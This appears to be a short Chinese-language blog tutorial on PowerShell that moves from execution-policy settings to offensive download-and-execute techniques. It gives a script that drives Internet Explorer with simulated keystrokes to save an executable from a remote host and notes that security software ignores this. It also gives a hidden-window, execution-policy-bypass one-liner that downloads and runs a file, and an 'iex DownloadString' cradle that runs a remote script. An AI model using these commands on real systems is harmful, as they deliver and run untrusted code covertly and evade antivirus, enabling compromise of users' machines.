Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。
执行策略
当我们运行.PS1的脚本文件的时候,发现失败,因为是禁止的 。
运行下面命令得到的是Restricted脚本不能运行(默认)
Get-ExecutionPolicy
Set-ExecutionPolicy Remotesigned设置当前策略(本地脚本可以执行)
Set-ExecutionPolicy Unrestricted设置当前策略(允许所有)
利用IE下载文件
至于为什么下载自己体会,发现一下安全软件对这个还是不理睬的附上代码:
$ie = New-Object -Com internetExplorer.Application
$ie.Navigate("http://192.168.1.28/calc.exe")
#------------------------------
#Wait for Download Dialog box to pop up
Sleep 5
while($ie.Busy){Sleep 1}
#------------------------------
#Hit "S" on the keyboard to hit the "Save" button on the download box
$obj = new-object -com WScript.Shell
$obj.AppActivate('Internet Explorer')
$obj.SendKeys('s')
#Hit "Enter" to save the file
$obj.SendKeys('{Enter}')
执行命令
.\down.PS1
远程下载软件并执行:
cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://192.168.1.28','calc.exe');start-process calc.exe
远程执行ps1脚本
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.1.28/down.PS1')"